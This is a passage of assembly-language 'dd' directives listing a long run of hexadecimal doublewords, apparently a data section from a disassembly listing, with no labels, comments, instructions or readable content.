3FE300DFh, 0B2E94D37h dd 601CF6F0h, 0C6C1C558h, 0DA3996FCh, 5FEDC040h, 76CC7DB4h dd 0E4580027h, 82854BF6h, 500FC668h, 0A3F48B6Fh, 0B01A879Fh dd 618B783h, 0BB9E193Ah, 4112C41Dh, 7400884Fh, 0ACB949Fh dd 3B2E073Ch, 104A1C58h, 507FCDAEh, 0E47C0E00h, 13050276h dd 0E6960E71h, 2100908Ah, 8F5EFD16h, 9F84EA00h, 139812DCh dd 3FC103BAh, 0FB5B74AEh, 796E3CD0h, 18569E39h, 0C6C03887h dd 0C5C90766h, 4093EC1Dh, 5DD62BE4h, 0D7B1C814h, 0AA0778E0h dd 38F757D8h, 32F612A0h, 8ADB24BAh, 8B3C8114h, 34A02068h dd 760F25A8h, 608E2428h, 0F80438B9h, 6AF42850h, 8BA93CFCh dd 0BA45CC80h, 0EE76E38Fh, 87941107h, 6323F32Ah, 0C951A853h dd 7CEA01FDh, 3329E857h, 53B03FE4h, 0A17300C0h, 74FC55D7h dd 4030DEC7h, 9C454894h, 86C203CFh, 0DFDE6A8h, 77F3F9B8h dd 67B78101h, 5CFFFC51h, 0F7B17A80h, 0AD57ADAh, 0F1E90F07h dd 0AB50F2BCh, 80D340h, 449B575Dh, 13331724h, 5277727Ch dd 8008D13Bh, 863C88D0h, 0FF3159Ah, 14DB4C28h, 0CCCADDE3h dd 1A50D6D0h, 0C39A5A00h, 267B55F2h, 461E00BEh, 17A59385h dd 0BD009F0Bh, 4912D258h, 0E0372FB2h, 0EDE50069h, 0FFCC173Dh dd 0CD006661h, 0FDABAD2Eh, 3F9809h, 0B5A65538h, 2B3D4A6Bh dd 1FA2BB48h, 0F1D7632Fh, 59938D00h, 407926h, 5C217D5Ah dd 30886F42h, 5BF3CC0Dh, 26E54076h, 3C71464h, 0B78F9B1Ah dd 78070A88h, 0E3368483h, 0F098C410h, 9011007Ch, 0F5D505ACh dd 0AF05B0DFh, 0E24D1AB5h, 8B68CB80h, 3EC400B8h, 2A631948h dd 5500DE57h, 42CD1375h, 6BA9ABh, 449E520Dh, 693A6095h dd 19BC9C09h, 0BC4A0B6h, 0A94813h, 6C1E2365h, 274FE7D0h dd 4438FA00h, 835D1618h, 955300D2h, 0BFA2B596h, 0AF009EDEh dd 0DC5AF3E0h, 7336251Ch, 0E6750328h, 0D79C7437h, 41ACBE02h dd 483EEA6Fh, 2591A550h, 0ABD82BE2h, 86CD7A05h, 105FE96Fh dd 24564060h, 8C4928CEh, 0DE252095h, 0AEB80C18h, 3EF14611h dd 0F1E48AF4h, 621238C0h dd 0E86E2826h, 3AA22C81h, 0ECF08B3Dh, 265881F1h, 6080F2B6h dd 72FC6E1Ch, 5C019869h, 0A4CA3739h, 0F434E1A9h, 0E6C0CC60h dd 8C7E7438h, 0A2128100h, 3B1CEFD5h, 8BC53786h, 0A1FF8080h dd 127BF74Dh, 0F191F300h, 44BCCC83h, 0C63E00B8h, 0CD26C85Ah dd 0E439AD5Dh, 0F200F6DFh, 0E60EE80Ah, 288A302h, 2B7A93E7h dd 0CAC097B7h, 2E005CD2h, 0BF4A1892h, 1858CCAAh, 0A23A4DCFh dd 0FF75D8ECh, 698E4B05h, 35807962h, 1F3DB4C6h, 8034AFF3h dd 0DF4D2F0Ch, 5F0197A6h, 6426303Ah, 0D860EF8Fh, 8C7B001Ch dd 0DBF72BCFh, 1903CBFDh, 0FE48DC75h, 224D138h, 421AEA40h dd 0CBBC0F0Dh, 2D810C9Fh, 40A4DEC4h, 793741B0h, 9BB2B800h dd 0B70F6673h, 2BC03FEh, 0E3999FB4h, 2CAF701Ch, 71A89140h dd 32DD92h, 4E6B57Eh, 21AD355Fh, 0E7936F00h, 0D7A63A0Fh dd 14C0C7Ch, 2C0CD08Ah, 3414ED01h, 0A98782A3h, 70AB32DCh dd 53030186h, 8CF9C344h, 5123C42Ah, 8B2CA906h, 2AB2FCh dd 4C0A8408h, 7E9F2817h, 9C59B00h, 0F9E07BE6h, 0B4409C9h dd 0CCA851C3h, 570421FCh, 161F670h, 0B162DA57h, 4E9E264Ch dd 0DDC5F038h, 6030FF6Eh, 0B8F3002Fh, 0BF8B8C39h, 1513A14Eh dd 3C0E8E56h, 0E182AFC5h, 0FA4AA2F2h, 84E72990h, 424852E9h dd 0B906B241h, 4F11E302h, 0FE74E109h, 21F94203h, 1008BF51h dd 751A8C5Dh, 4284B129h, 5194119Bh, 50282628h, 447750B0h dd 564441BEh, 5828A0D2h, 417389FCh, 12786D14h, 2EBF10DEh dd 880FB740h, 981CB8BCh, 20406E03h, 0A7F1E179h, 5B3501CBh dd 0F2EB8023h, 455DC4C8h, 48671600h, 0B021B834h, 974000D4h dd 1BD50A46h, 0D0086BAh, 617995F3h, 0FBFE26h, 8BA74C93h dd 1722EC7Ah, 0B6C0E000h, 6F85D0E4h, 4D6600DBh, 1AC1873Eh dd 0CE006862h, 17721FC2h, 0F4A04932h, 7063DADh, 510A283Fh dd 1CC96368h, 0B2F440AEh, 9E94F65h, 0BAFEFB00h, 0BE0EDB7Ch dd 7609CCEh, 0C0A43CE0h, 0D2B7ADACh, 7F785400h, 0E37999D1h dd 2B6200B8h, 0DF9D2E85h, 0AE018F28h, 618459B1h, 2C24C3E8h dd 8BA60FF5h, 0BA80B253h, 3F4B7C70h, 34E70600h, 4274D567h dd 50150E1Ah, 2560FFD0h, 4EE5890Bh, 73105D00h, 616FD6E0h dd 0BD86004Dh, 10B0FFDh, 1D18C2E8h, 0EF315A19h, 4234006Dh dd 23C54705h, 6478B467h, 0C7004DE4h, 3AF49AABh, 3C81176Fh dd 0DE803C2Bh, 872CF0E3h, 8B790104h, 224EA101h, 3693E5C7h dd 0FBA370h, 9ADDDB3Fh, 810496C0h, 375C5200h, 0D62692F7h dd 9DBF0097h, 2E450FF5h, 0D000963Ch, 62B66A4Bh, 0E7E14Dh dd 9111B8FBh, 0F0F8BB55h, 527D000h, 588AEE13h, 107800ABh dd 411A1719h, 0AA3F50C1h, 63007F70h, 0EC326D92h, 0ACD037h dd 0EA54C261h, 66E731F4h, 0DB58C01h, 0D668DC01h, 0CB25082h dd 0B9803478h, 7AB4C404h, 385EAE00h, 215423B1h, 886B008Ch dd 0FD7D80A4h, 5900225Bh, 0D476FE98h, 0E004CDECh, 1BAA0061h dd 8B5B13E6h, 4C00D184h, 0FC2E399Eh, 0F7990CEh, 4A0CAE64h dd 3B77DBA0h, 163E31EBh, 66AF1C9Ch, 20595B09h, 0C710044Ch dd 0CD27008Dh, 0BE8E0AEFh, 6B00818Fh, 0BA604B5Bh, 1F38ED61h dd 0B92C7Eh, 84851D88h, 4302D18Fh, 4417241Eh, 4E304057h dd 269300EEh, 61853C22h, 8788C02Fh, 52CB00BEh, 0E7F39F6h dd 0FC00BD6Ch, 0BA366558h, 728C32E5h, 74EA0059h, 0B50D5781h dd 40013F2h, 89B49A6Ah, 3B2AD30Bh, 0AD0009B1h, 0EC28FF9h dd 0F000327h, 0A8239EEAh, 0EF53E04h, 0C186DAE6h, 496A0C80h dd 6E002037h, 5C1643F2h, 46AC26h, 7BF89C15h, 0FD42324Fh dd 0B85848h, 942C5F74h, 7009FEh, 235EAD25h, 0B5D119F0h dd 7E105A00h, 8D32D72Bh, 77EB006Ah, 0C848F686h, 0BE00DCEEh dd 0F5BA24BFh, 0E3A342h, 7FEAC1B1h, 0DB8F7725h, 2FFF903h dd 0B8B64F03h, 912E5CAh, 855F70FDh, 24DC6380h, 0CD1CE24Dh dd 63408BB0h, 0C8C20E47h, 0B39300C0h, 25E13E5Bh, 6801BBE5h dd 0F06B33ACh, 6AC08465h, 0AEBD00CBh, 0F64A75F3h, 0CF00CA34h dd 0FB9B2F98h, 719FCCDh, 28573CF0h, 54D61047h, 0A6000CF5h dd 7E2640Fh, 19C4984h, 28130272h, 0C1AE6CD3h, 384ED027h dd 440031F4h, 2BEB6E73h, 9AFB46h, 0BB608BF1h, 55D742F4h dd 4A861C09h, 0E14F81FFh, 0ACDCA866h, 8FB80079h, 0AB01972Fh dd 1300B00Fh, 5D70A376h, 1873BFh, 0E71DB427h, 54FAF7ADh dd 1277FD01h, 43AE4BE6h, 19FA920h, 39A7C174h, 0C8CE446Fh dd 4133E2D3h, 0A0406E1Ah, 60CB030Eh, 6248484Eh, 9A20D59Ch dd 0DD060021h, 0BDBC4D79h, 6D00BA82h, 0B96E42Eh, 19FD44h dd 2E0776Eh, 45BCBBF3h, 0C418CB28h, 521C8C01h, 0A0FA0F1Bh dd 7A722860h, 41AD076Fh, 91EC97FBh, 0F0542223h, 0D77B4394h dd 0AE2A2B18h, 6E7A820h, 0A1DB8640h, 1C0198CAh, 0B3E0A28Fh dd 2C20F2D6h, 61F707E4h, 0F07BF519h, 31D3485Dh, 3C6B1703h dd 0E8C5CA69h, 0F680677h, 0B464494Eh, 815D9A80h, 80A0D973h dd 550FB64Dh, 3E317E7h, 0E0E425F1h, 0B3D637h, 0E06B9CBEh dd 733D9F21h, 0C842EA16h, 0AE48D900h, 0FF05E3h, 4C20E726h dd 5F0A8BB8h, 14130800h, 0A244F758h, 947F76h, 0F6748C29h dd 9D065451h, 81FEA500h, 7212C9C6h, 1EE13E4Fh, 0AC678300h dd 0F4FA1062h, 0B9736FFEh, 0BEF12B00h, 0B2D6A668h, 0D4070132h dd 5C8F5D24h, 0D70BF0A8h, 0B9D5AD00h, 6D2F3D74h, 0FFA21FD0h dd 0A1378077h, 0F9197511h, 0FA9F5E00h, 10979286h, 0CD89006Fh dd 7EF17BD2h, 25F8371Dh, 0DC2C7D28h, 53122D24h, 6EA1C200h dd 2229DEh, 9CBA53F3h, 1945C641h, 924CC800h, 0E5C5508Ah dd 2BCB00A6h, 0D553491Ch, 950194B4h, 8F3A2F29h, 3C5633Bh dd 3DDCA020h, 0FC12C8B6h, 0DF3D0016h, 75346493h, 0FFACF00h dd 873C986Fh, 7E8907D8h, 81CD601Eh, 0FF3E32F0h, 0C08B58E1h dd 603E35Ah, 0EEA9A8E8h, 5DF0E00Eh, 0D940C0E9h, 434C99FDh dd 3B7A6309h, 68EC009Eh, 3BE321Dh, 6D62CF07h, 1907971Ch dd 989587D1h, 0BAD3605Eh, 775156Ch, 0DBF2D72Fh, 5E2A709Dh dd 0AD00BEB4h, 0ACF8EE02h, 0E3EE8BDh, 0C7346389h, 8B4D4660h dd 0BA3C99AEh, 826EB97Ah, 0D1130D67h, 972C4015h, 0F3D51DBCh dd 82598016h, 0EBDDECBBh, 60383E00h, 0C6EFC283h, 9A460001h dd 420994Eh, 0CA0F61F5h, 40C97D8Ch, 9C57F3D6h, 2239045Ah dd 87F44399h, 86E1200Ch, 7E00E7CCh, 1F903D0Ch, 7AA5B1h dd 3616E6DAh, 21E23E44h, 37048CFEh, 2388E727h, 5DF37087h dd 0D07AC89Ah, 0F8831F01h, 5F4B0020h, 9CF0FD80h, 701D0C1Fh dd 526D3780h, 2B4044h, 0C8D8C1B8h, 39D4B48h, 0F843Bh, 324DA1E3h dd 1C8DA2h, 8FCFE773h, 0ECC8B720h, 0CE6CA803h, 93523738h dd 0F2D4884Fh, 0FAEF00D5h, 6642C6B3h, 0C0098145h, 87CCC9E2h dd 0E0F03C20h, 1227958h, 0E62CFD5Ah, 0C9B0AB51h, 61A08087h dd 3F7B8466h, 3DFF12B1h, 5733000Dh, 1C3B3E1Bh, 935F780Eh dd 0FE045EF8h, 54C51480h, 761BC0BEh, 0BE005B7Fh, 2717C4BCh dd 39E3C70h, 355CDE66h, 0B800E53Bh, 86951824h, 0F4B476B8h dd 389797Bh, 2AE7EC5h, 0F3A80F9Ch, 380032DBh, 925ABF1Dh dd 9995F68h, 22647129h, 0A8A5A800h, 2400F353h, 9F66A1F8h dd 3EFC1B78h, 6D80D4DCh, 1830515Ch, 3DFAA0F3h, 336EFD00h dd 7BB69443h, 5F0B3D0Dh, 0A88FA112h, 2B7C098Fh, 84A80002h dd 0C04E711Fh dd 37D26F7Eh, 2E5865D4h, 5CEC1F30h, 18C9B840h, 0E66A549Bh dd 7CE60F1Ah, 3013093h, 214B6B52h, 0E9C8CCC4h, 43EE2700h dd 0D9676564h, 430E6BDh, 559E456Ch, 1A648014h, 8B32A110h dd 4046D81Fh, 834B3Ch, 0DF4EFA59h, 0FFEEA30Dh, 0EFC6D000h dd 0D2116D1Dh, 0D953070Ah, 8035FDADh, 0A7FF8324h, 47389300h dd 89F5B1Eh, 504074Ah, 7012824Ch, 0F21CDF9Ah, 7BF5524h dd 8BD27200h, 3D99C8h, 0B0C7AB6Dh, 7C93E714h, 0B9823609h dd 28AA0002h, 785C5BAh, 661F1370h, 111B712Ah, 0D0B4D87Dh dd 6F511600h, 0F2A2896Bh, 313A0029h, 0C5E4A62Eh, 0FE173382h dd 14005835h, 92665D73h, 0FCE401h, 6B10D06Eh, 2C8E64F6h dd 68075198h, 0E75F07B1h, 5DE1A080h, 0F4F673BBh, 78E7D90h dd 0CD27107Fh, 0F1A87018h, 0D501CA84h, 0DFBD8901h, 8BFC4D88h dd 4B24012Dh, 1C1180D0h, 6113FC5Bh, 5A15C800h, 40F95D3Bh dd 3AD40048h, 0BB687E91h, 57671814h, 5B700619h, 772C9C4Dh dd 0BC77000Eh, 0B5DDA43Fh, 91006649h, 0BA5FF595h, 0EF1258DBh dd 45FE70h, 0E1491973h, 0A13FF2Ah, 868CCC00h, 20381F5h dd 2C050779h, 0C0FC31F6h, 0B6AE3C6Eh, 0E6B74F00h, 1DC15A48h dd 80C0075h, 0A2A9CBF0h, 4A006DC4h, 16762C10h, 0CDC7873h dd 2695F658h, 0FB3911A8h, 0D2238087h, 0F4DACCC4h, 914100F7h dd 72625D01h, 0D83E1C56h, 80A5BC05h, 0EFD45E82h, 0A2ADECh dd 3B37695Ah, 32BC98E8h, 3653FA00h, 0BFEB92ACh, 84E00022h dd 0DA454E40h, 8F00CBFBh, 5DA6C50Eh, 9F627Eh, 2E3E5EC7h dd 3D65A2E6h, 1F7C8B04h, 81C76A23h, 932B8030h, 0A47F6Dh dd 0C40689A9h, 634408C5h, 0EF698D03h, 0EB7270DEh, 9190D715h dd 0A04A75h, 0BE76A464h, 0B93411D9h, 960EBA03h, 0F047E365h dd 3BDFC1FBh, 0B88085B3h, 0F182165Ch, 7E3F212Bh, 29E1007Fh dd 0B338FD64h, 0CC200062h, 67158A5Ah, 3B0090AEh, 0B8D491B7h dd 6C1222h, 0D49A73Eh, 85CB27C0h, 60A84100h, 0EFFB88DEh dd 0B9E60001h, 25295171h, 9398D1A9h, 47632700h, 60E52D0Bh dd 7597C62h, 725CDBB1h, 2770D019h, 5198D38Ah, 0B800FA71h dd 216A0104h, 538766h, 0DFA0A99Ch, 0F9D871E8h, 0D0860B0Ch dd 26A05Ch, 1578EB34h, 96277A6Dh, 10C23A01h, 7BAE5D07h dd 804A3040h, 0B21E0004h, 64B9A68Fh, 0D90784A2h, 0CB2D6908h dd 790BF7D0h, 81C20972h, 18008224h, 0C6597D7Ch, 77385B1Dh dd 75F3D040h, 0A12B234h, 30582463h, 2DF600F0h, 0CE18461Fh dd 854A441Eh, 0AB543980h, 3D7284F9h, 0FB00DFA5h, 0E59110Ch dd 4D488B62h, 24560062h, 4174A2F5h, 36048C7h, 0ABDBC100h dd 8BA76847h, 0DD831B00h, 4D78D9B4h, 584C00B6h, 4A92C269h dd 0CE00505Ah, 0B2E504C5h, 3E57887Ah, 3280AB23h, 27F74303h dd 0A6005A6Dh, 0B94DF377h, 925073Dh, 8039836Bh, 1FC67C00h dd 421C0DABh, 0C24040B8h, 4D95C34Fh, 0B4300BDh, 929C38DBh dd 34002F45h, 0CB6C7BA1h, 0ABF31Bh, 433D9065h, 0BDC915E5h dd 0F93C2172h, 82C4CB0h, 16AF33h, 76C208B9h, 700E2EEh dd 83126DEBh, 350481h, 8A869E29h, 0BE06FF65h, 90AD7901h dd 0B4C35201h, 0A6E480E6h, 72868D7h, 9796C13Fh, 58A02951h dd 3986D97Eh, 8B7C2102h, 40686E19h, 12D70Ch, 7E643115h dd 2DBC696h, 9A492D26h, 0E2E1AF00h, 0E638EC34h, 0A27C078Fh dd 10F4C0CDh, 728E58CAh, 0D35F3Bh, 0D24ED0D9h, 48864C43h dd 7045C5Bh, 1EE4E9h, 0C17D4DF9h, 5789879h, 714A3C43h dd 0E126C0B5h, 0F700D2EBh, 0B6CEDA5Fh, 0E5DF7Ah, 0B2D71A55h dd 118576C1h, 75813000h, 7DA3578Ah, 0FA4A040Ah, 90D2F20Bh dd 141EA770h, 5D0A00B0h, 882F6BB3h, 6450703Eh, 0BC13C294h dd 0AC00E4B4h, 5EE76E51h, 0C7A2019Bh, 0AFEBBAF6h, 0C496D94Fh dd 0F090EF37h, 2F9D8204h, 2B00691Ah, 0A8E48187h, 3C02321Fh dd 0DC79B740h, 7FB37B0h, 90B83152h, 0DFE730EDh, 9C00D6F1h dd 0D5598161h, 13E001D8h, 153579Bh, 50B51D8Ch, 8B945012h dd 2E00818Dh, 0CE4FE0B7h, 2DFCD3h, 0CDDD9A85h, 46D532BAh dd 0BB1EA300h, 5C8CD61Dh, 18C500BFh, 37D3F014h, 0B2499F2Fh dd 9C3408C8h, 0DED805Dh, 486B3664h, 73C8D614h, 81B101E7h dd 5260FAE6h, 0FDF1A70h, 0CC37A1Eh, 1DA0960Ah, 28248Dh dd 59192F71h, 0A201E57Ch, 0EF146C21h, 0B89F61B6h, 5BE80001h dd 0E99ADFB8h, 40C3E21Ch, 0D7482700h, 30A9C6h, 1B830678h dd 6F9D2522h, 46D238C0h, 0D9F4A0h, 3B649934h, 0D6BFB56Ah dd 8DDB4A0Eh, 69706073h, 50C40CFFh, 0F5F0D5h, 72972228h dd 7309BACh, 0AF3A5800h, 0E9B8E78Ah, 315B0020h, 8941A466h dd 8CB0820Fh, 48D97501h, 0DD5AFF9Ah, 7F06BE4h, 0EB883E56h dd 0E22B503Fh, 0EA1C36BAh, 5A303746h, 58CF606Eh, 1D01EA47h dd 0C267F2EDh, 4FC1F468h, 649FCD00h, 0C3C655E6h, 0B2A80B7Eh dd 0F500013Fh, 0B442C1E4h, 0E948EEFEh, 0E2AB0034h, 28CE6E84h dd 50CA0138h, 5A9EA4AEh, 900C40E4h, 0A2F86D31h, 0E9584D00h dd 0D8CA1243h, 447F0D1h, 0BA326486h, 9CAE033Bh, 8AF2D729h dd 8443D5E3h, 0D080C3D2h, 0E87B02C0h, 0B2D64400h, 0D1ABD3Dh dd 2E8B03A9h, 20EB4E19h, 6A729DF0h, 0D33E6890h, 503D0E0Eh dd 0D7B2219Ah, 0A77030FEh, 0CDB30E83h, 6420FFDEh, 76809363h dd 0F8F57900h, 924D0608h, 0D74B0086h, 52DCDB0Eh, 89FC3FB6h dd 3F05550h, 90B8E524h, 403DC60Fh, 0F149F29Dh, 0CEEC0h dd 0FFA2BA8Ch, 0C857E840h, 23F4BF00h, 82EE99D3h, 41090AD4h dd 0AC0EF6h, 0D58E0F7Fh, 0EF505C98h, 374C4D85h, 0A6A41ED4h dd 17BFC040h, 247CE59Ch, 70CC74h, 92961AB9h, 1B1754BCh dd 0E00062FDh, 0DE751C42h, 38701433h, 0E030E23Fh, 0BF616230h dd 0F4C53224h, 3AC32980h, 1EE3144Bh, 1C720AEAh, 79807B82h dd 9EC81A59h, 830413B6h, 0E442491Dh, 7F95B880h, 3889E834h dd 0C000433Ah, 920C59C6h, 3503126Bh, 267E28E4h, 4CC1847Dh dd 0E8621EEDh, 0D8E31C00h, 288D7BDFh, 17FB1B00h, 0B40BC6A5h dd 7FCA0050h, 0F338EEBAh, 0E90006B2h, 0A473483Fh, 3EF5F2Ah dd 0CC98D1CAh, 0AAB0EBAFh, 0FA05360Fh, 49B566ECh, 0C4D1B080h dd 0A4D60D03h, 0E494BE39h, 0A4A0420Fh, 26187774h, 0DCB01B5Eh dd 8D5600B5h, 2803BB95h, 0D0006F1Fh, 0A1BD4A50h, 604B7430h dd 60E2F02Dh, 0A3E09E87h, 0B845B907h, 0F6D05E34h, 0A1DD46h dd 6F4019CCh, 0EEAA58A8h, 80234B38h, 0EF17ED71h, 1E8D577h dd 2070D70Eh, 74AF7A88h, 4400D944h, 0A856A2CEh, 0DB1CA7h dd 6E9B2634h, 0F61654E3h, 0B22D6703h, 0B1C586h, 492E0714h dd 1385CCEEh, 9018038h, 0DD4A037Fh, 44339702h, 3AB6F440h dd 0BD572E03h, 0CC2FA8h, 751DD24Ch, 0B9E0C20Ah, 5430980Eh dd 8A96C7A3h, 0F09Bh, 0BCF95910h, 0AD209B41h, 310057F4h dd 7BE7D4BEh, 1250018Eh, 0E10A0Dh, 0E46C8B10h, 3307383Fh dd 0E9118198h, 7FE240CFh, 0C0CB8994h, 2C183EFEh, 0CA007356h dd 19B6FA22h, 323D6C9h, 3C93EE9Bh, 78C13F3Eh, 0EC1C20E3h dd 5F67BA03h, 0B8B1CF66h, 4650CACh, 0D5220837h, 775C825Bh dd 0A84EF4C8h, 0F861EC00h, 628063E7h, 841F0908h, 6A800FC6h dd 0FCF74142h, 806B183Bh, 0F8272EEAh, 79CB388Eh, 570E0060h dd 0FC5E8463h, 400AE0Ch, 11CC8998h, 72EA91h, 93EDACE3h dd 1ABA5B0Bh, 0D43C6A00h dd 0F0201626h, 7EF10064h, 0AC0F961Bh, 4E00EA7Bh, 0F9B69F97h dd 26306385h, 58DE8Eh, 0B108521Dh, 50015B0h, 91385AF5h dd 3B2C3784h, 9F80D4FAh, 0FEA9068Fh, 16008C85h, 83D5D75Eh dd 1DF96437h, 7929CD12h, 46246280h, 2157757Bh, 4A5E8000h dd 0E5C70F81h, 47AF07CBh, 73E9D6FDh, 0B801973Eh, 0A6CE16BEh dd 0F840C59Fh, 875126h, 27AFD0E1h, 0B3632067h, 65A13F00h dd 0EC8F9572h, 1514007Ah, 0B624CB9h, 0C7016C1Ch, 208870D6h dd 0EC245032h, 6EA40039h, 0CB09B844h, 94003DC3h, 40D03C46h dd 9054B4F4h, 0E85300B4h, 0B642C55Ah, 0AA004EA4h, 7325EC4Ch dd 0A0A6E0h, 0E9F562DFh, 51D33072h, 56026090h, 0BD59CF5Ah dd 0A864A7h, 17489A36h, 92F3BF60h, 0B8D7C42Eh, 0B7D870h dd 5EC03341h, 0B3D6A0F3h, 35F8ED1Dh, 7AAC3281h, 34E877D3h dd 2AFF0044h, 28C5C46Dh, 0B8002559h, 5C690D21h, 0F8A81F9h dd 55F09E86h, 61DB801Ch, 9BEC16F2h, 98388D77h, 0D79A0093h dd 2ABDE9F9h, 6E3B0038h, 9016BACBh, 565C0A94h, 0DDA00048h dd 34DC0FB1h, 3FEDB828h, 9080F1F3h, 0B45D580Eh, 0F200DE1Eh dd 3D7A9A46h, 0F8B3CB7Eh, 61792451h, 0F4010378h, 0BAD9B2C5h dd 0F680E7E5h, 4300BE2Fh, 4BB95E24h, 7A47F0ABh, 973900F7h dd 268A71A1h, 165CE111h, 66120078h, 0FA8333F1h, 7C709D7Eh dd 9C4ABC0Ah, 202B0ECh, 0C0B3AE05h, 0C0D290Ch, 0C3D50646h dd 4501AD11h, 0DBEA2739h, 9C7194BFh, 60F211F0h, 60E6A168h dd 58FC6DB6h, 0AC009BE8h, 78BEA8D4h, 13273Ch, 0D2CAD6A4h dd 4DF3B5Dh, 1539AF00h, 562F45C5h, 9FB951D4h, 0B2B1B500h dd 497D00B6h, 2ADEA296h, 970386AAh, 10061665h, 3D39024Bh dd 0F3DC2627h, 694648A2h, 1B58010h, 0B6590E6Dh, 40A8DC6Ch dd 6A4A8914h, 237B9707h, 0B5C72A5Bh, 10173F50h, 0CEA900C5h dd 55AF66DFh, 3300FD03h, 65449041h, 7A538C3h, 48BDC0C9h dd 9E05C060h, 0A7007606h, 1D9BE879h, 774439Ch, 960B5468h dd 0D42640D6h, 520B715Bh, 8092B8ECh, 2F51434Eh, 6C57382Ah dd 54647680h, 5937DED5h, 85C7A300h, 0A979347Dh, 0C472ADh dd 0A4506626h, 88475EBh, 2B018096h, 9235E1BAh, 490D994h dd 0DFACAAh, 0C237C94h, 0F38D9970h, 97F6E00h, 1F48A8B2h dd 49B300B1h, 7C6A0E3Eh, 0BD78F31Eh, 7BA205Ch, 852D23B4h dd 0E10E21C0h, 7050295h, 224D3D84h, 0FD9040FFh, 9974A6h dd 3A5D7309h, 3F7F7A0Ah, 7C92061Fh, 0AE010C00h, 0F0A72452h dd 203B83Bh, 93261EB9h, 6495AD88h, 0AF808584h, 0CA08E880h dd 937700A5h, 78556AEEh, 0D124B503h, 8501D4D3h, 0B20FB879h dd 1EB1FE61h, 1154FE28h, 7512E9D9h, 25FE0411h, 0E0280432h dd 438148E6h, 7921A1DEh, 318C2426h, 11B93D29h, 0DA12BB22h dd 0FFE93C82h, 140F4925h, 847191C0h, 45896773h, 0B8447A08h dd 7E4284E2h, 13081121h, 509694B7h, 21015211h, 0B005080Dh dd 11148A94h, 0D921DB9Fh, 91AE2908h, 9509039Eh, 0C0E58553h dd 0BAB110h, 5FEFBE32h, 2B63A1A6h, 9B499000h, 47C2F670h dd 6CCC0412h, 0C04ED8D5h, 0BA7781FBh, 0BE4B5E07h, 3E210C54h dd 9F4DDCBh, 7BE207h, 4F9FA3A9h, 1816BCF6h, 5383EA03h dd 0B0B89A94h, 0BE09B5h, 42D47005h, 6D305549h, 7FF0E000h dd 2A477C83h, 0A4CB3FD3h, 317200F3h, 22F95582h, 56059153h dd 0B9A39524h, 75D30C90h, 86110042h, 919E89F2h, 0ACE6E9BEh dd 0A40139h, 6AB666B0h, 4CDA0h, 0B8EA0C45h, 6CA692FCh dd 701D4E8h, 91B5EE3Ah, 66E0025Fh, 0BE050336h, 1A7D3064h dd 12977008h, 80CF205Dh, 0B5F570h, 2068279h, 0F8394BC9h dd 5A70B400h, 26ABF7ECh, 0F51D01BDh, 7E1EA8C6h, 1888E44Fh dd 6A31D200h, 0DF8D441Bh, 0F3933067h, 0ED955E30h, 63802B00h dd 0E41E674h, 3BAD08B5h, 16006B22h, 63EF406Dh, 47C81F89h dd 9FE9CE01h, 85000F0Eh, 6606B97Eh, 0F3F61B00h, 0C29D7ABEh dd 59E80014h, 13454EB4h, 0A900D963h, 0C072EB36h, 4812A5h dd 67DDA4B2h, 778B4FACh, 0BB4AFF00h, 45683906h, 0E4480061h dd 0DFAC891Ch, 14005A85h, 0F77864Bh, 116DD35h, 0BDD0B94Dh dd 4064B655h, 9727D894h, 151C4800h, 0A14BEFF0h, 0C19B1E22h dd 580C0F8h, 9129B60Bh, 25B53Ah, 7EB22DB3h, 0D4F7EBh, 1DA060B0h dd 9B6A9AF4h, 0EA6E0B17h, 0F6999D00h, 2D7E310h, 0E329527h dd 0C4E0E460h, 7904C87Ah, 8F84C231h, 0F1593480h, 8CAD1F7Ch dd 2DD4C01Ah, 3667072Fh, 6D32B400h, 4E7F010Ah, 0CCD83FFFh dd 0C2BFB781h, 30DA4C99h, 8D004805h, 8424713Bh, 4DF00519h dd 4D02684Bh, 0AA9C2DEAh, 72805440h, 7F1E3A00h, 73A1FB55h dd 289217h, 440BFFA6h, 0DA673AAFh, 0D1038303h, 0AB5B957Ch dd 0D04CC10Fh, 94F36ECh, 0CBDD32E9h, 67094800h, 0D600E557h dd 1250BF1Bh, 4B7ED7h, 9731CAB2h, 0AEA284DDh, 7166E200h dd 6FAF9EA7h, 38F67Fh, 2D0EE661h, 31DB90D2h, 519C9503h dd 92123C3Ah, 89C0DF71h, 8C071626h, 0AE5CD904h, 322BF2A0h dd 0DDB60030h, 0A77ADB56h, 434DC399h, 0DADF0700h, 6EE0B14Ch dd 4495D6h, 7D3A9637h, 0B5242BDEh, 0CE02A60Eh, 0D2053E1Fh dd 0FB3E9Fh, 0BF819AA4h, 0CB00050Ah, 0AE90FB6Ah, 0F512A25h dd 78416C97h, 0A956DA80h, 0BB29D418h, 1A80A490h, 13B02CB4h dd 64D800E7h, 99C9DA65h, 0CD1DC81Bh, 4240759Eh, 376334BFh dd 3E87CB2h, 2C4987E3h, 88D04581h, 0EB773A08h, 0A6F0B775h dd 12E45B01h, 0E8DEF91Fh, 17F0E041h, 43409C0h, 28051E2Eh dd 4088B187h, 0DAC184B9h, 8B38021Dh, 88910DC0h, 0A1581Ah dd 739B75ACh, 341255Eh, 5D509800h, 9D923918h, 283201CDh dd 0C235157Bh, 3F9140CFh, 0D10068B7h, 3D54345h, 4FED17h dd 8AD25F4Bh, 24942067h, 30DBB800h, 0D4801286h, 1FE473D5h dd 40C53F78h, 13068C8Eh, 551D1DB3h, 598040C0h, 534185AEh dd 0AB501E21h, 0CD5D401Ah, 0D3F6724Ah, 0BD528700h, 0F4A1849Eh dd 403101AFh, 917AB055h, 6B9DC401h, 5DBCCD00h, 1AB2B928h dd 77F700D6h, 232B79EDh, 0A2026178h, 3F9AFF48h, 4D3F406Ah dd 67FD1h, 0D28F999Ch, 6CB64356h, 364F940Bh, 210800E2h dd 75CF1Fh, 5CB12B27h, 0F9EF709Ch, 0FAABAA07h, 58F0B60Ah dd 1337E4Eh, 0BCEA415Fh, 43AD26BBh, 85A030ACh, 7D00C3B3h dd 0D295D0F0h, 44143h, 0FA992848h, 0A5AFE214h, 7494373Ch dd 0F68F5D00h, 0C5134263h, 575C00E1h, 82846FA7h, 61F61FFDh dd 37E81154h, 0E4108300h, 283FA548h, 0C9720742h, 228C6078h dd 1C400170h, 60F4862h, 200234FEh, 5E40CDD1h, 0D25100ABh dd 8C729063h, 5D7584F9h, 60172B00h, 98B308EEh, 7EE6E894h dd 0FFC000D2h, 193C5FB8h, 0C23AF39Bh, 21FF9C7h, 97C113E2h dd 0AAD00109h, 4883C8E4h, 0CE002A47h, 0B6C1A220h, 35023AE3h dd 1D3DAF89h, 52D840DBh, 38F358DAh, 